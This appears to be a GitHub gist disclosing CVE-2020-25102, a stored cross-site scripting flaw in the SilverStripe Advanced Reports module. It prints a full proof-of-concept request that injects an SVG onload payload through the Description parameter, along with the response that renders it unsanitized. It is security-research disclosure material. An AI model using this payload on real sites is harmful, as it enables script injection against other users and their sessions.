Created
September 3, 2020 14:43
-
-
Save ahpaleus/c3bd2d41d306544ca3158569335d12f2 to your computer and use it in GitHub Desktop.
CVE-2020-25102 - Cross Site Scripting (XSS) - SilverStripe Advanced Reports Module
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| CVE-2020-25102 - Cross Site Scripting (XSS) - SilverStripe Advanced Reports Module | |
| SilverStripe Advanced Reports Module (aka silverstripe-advancedreports) 1.0 through 2.0 is vulnerable to Cross-Site Scripting (XSS) due to the fact that it is possible to inject and store malicious JavaScript code within it. The affects: admin/advanced-reports/DataObjectReport/EditForm/field/DataObjectReport/item (aka report preview), when an SVG document is provided in the Description parameter. | |
| To exploit vulnerability, attacker has to change send malicious request to store JavaScript payload within it. | |
| Request to the server: | |
| Request (with <svg onx=() onload=(confirm)(1)payload in Description parameter) | |
| GET /admin/advanced-reports/DataObjectReport/EditForm/field/DataObjectReport/item/4054/ItemEditForm?action_reportpreview=1& | |
| PreviewFormat=html& | |
| GeneratedReportTitle=aaaa& | |
| GeneratedReports%5BGridState%5D=%7B%22GridFieldSortableHeader%22%3A%7B%22SortColumn%22%3A%5B%5D%7D%2C%22GridFieldFilterHeader%22%3A%7B%22Columns%22%3A%5B%5D%7D%2C%22GridFieldPaginator%22%3A%7B%22currentPage%22%3A1%7D%7D& | |
| filter%5BGeneratedReports%5D%5BTitle%5D=& | |
| filter%5BGeneratedReports%5D%5BCreated%5D=& | |
| Title=AAAA& | |
| ReportOn=AdvancedDisruptionReport& | |
| Description=BBBB%3Csvg+onx%3D()+onload%3D(confirm)(1)%3E& | |
| ReportFields%5B%5D=& | |
| ReportHeaders%5B%5D=& | |
| ConditionFields%5B%5D=& | |
| ConditionOps%5B%5D=& | |
| ConditionValues%5B%5D=& | |
| ReportParams%5Bkey%5D%5B%5D=& | |
| ReportParams%5Bval%5D%5B%5D=& | |
| SortBy%5B%5D=& | |
| SortDir%5B%5D=& | |
| NumericSort%5B%5D=& | |
| PaginateBy=& | |
| PageHeader=%24name& | |
| AddInRows%5B%5D=& | |
| AddCols%5B%5D=& | |
| FieldFormattingField%5B%5D=Title& | |
| FieldFormattingField%5B%5D=& | |
| FieldFormattingFormatter%5B%5D=DecimalHoursFormatter& | |
| FieldFormattingFormatter%5B%5D=& | |
| ClearColumns%5B%5D=& | |
| ScheduledTitle=%3Ch1%3E%3Cs%3Etest& | |
| FirstScheduled%5Bdate%5D=& | |
| FirstScheduled%5Btime%5D=& | |
| ScheduleEvery=& | |
| ScheduleEveryCustom=& | |
| EmailScheduledTo=& | |
| SecurityID=382897efe1e0607e0a7570a1954b385b0dbadf3e HTTP/1.1 | |
| Referer: https://localhost/admin/advanced-reports/DataObjectReport/EditForm/field/DataObjectReport/item/4054/edit | |
| Cookie: __cfduid=d0c3541462977db564a5667b0b493f0f51598983705; | |
| SECSESSID=j890kulq47eqda563ah2u8uk4r; | |
| cf_clearance=f212f42d931b43f92e251b2461a680d26855130a-1598983918-0-1z6ecea101zb4a7f96z855a6 | |
| Response (rendering payload without proper sanitization): | |
| HTTP/1.1 200 OK | |
| Date: Tue, 01 Sep 2020 18:13:05 GMT | |
| Content-Type: text/html; charset=utf-8 | |
| Connection: close | |
| Set-Cookie: AWSALB=MEKj3BYWceKWcHE+iXAHq0ud4/tl05fdP7dUiNYF9UivRHvUBgBu9Wmis0oMfDTA1Ayju75ELQNw6cyFLMYzxXEHAG516NojlrNfcf3eUhR2anf4BiCV5yNApSz7; Expires=Tue, 08 Sep 2020 18:13:04 GMT; Path=/ | |
| Set-Cookie: AWSALBCORS=MEKj3BYWceKWcHE+iXAHq0ud4/tl05fdP7dUiNYF9UivRHvUBgBu9Wmis0oMfDTA1Ayju75ELQNw6cyFLMYzxXEHAG516NojlrNfcf3eUhR2anf4BiCV5yNApSz7; Expires=Tue, 08 Sep 2020 18:13:04 GMT; Path=/; SameSite=None; Secure | |
| X-Controller: AdvancedReportsAdmin | |
| X-Title: SilverStripe+-+Advanced+Reports | |
| X-Frame-Options: SAMEORIGIN | |
| Vary: X-Requested-With,Accept-Encoding | |
| Cache-Control: no-cache, no-store, must-revalidate | |
| Strict-Transport-Security: max-age=0; | |
| X-Content-Type-Options: nosniff | |
| X-XSS-Protection: 1; mode=block | |
| Last-Modified: Tue, 01 Sep 2020 18:12:56 GMT | |
| Cache-Control: max-age=0 | |
| Expires: Tue, 01 Sep 2020 18:13:05 GMT | |
| Content-Length: 137437 | |
| <html> | |
| <head> | |
| <base href="https://localhost/"><!--[if lte IE 6]></base><![endif]--> | |
| (...) | |
| <h1>AAAA</h1> | |
| <p class="reportDescription">BBBB<svg onx=() onload=(confirm)(1)></p> | |
| <p>Generated 02/09/2020 4:12am</p> | |
| </div> | |
| <div class="landscape newPage"> | |
| <table class="reporttable" cellpadding="0" cellspacing="0"><thead><tr> | |
| </tr></thead><tbody> | |
| (...) | |
| References: | |
| https://github.com/nyeholt/silverstripe-advancedreports/releases | |
| https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md | |
| https://www.owasp.org/images/b/bc/OWASP_Top_10_Proactive_Controls_V3.pdf | |
| https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001) | |
| https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002) | |
| https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001) | |
| Maciej Domanski / AFINE.com team |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment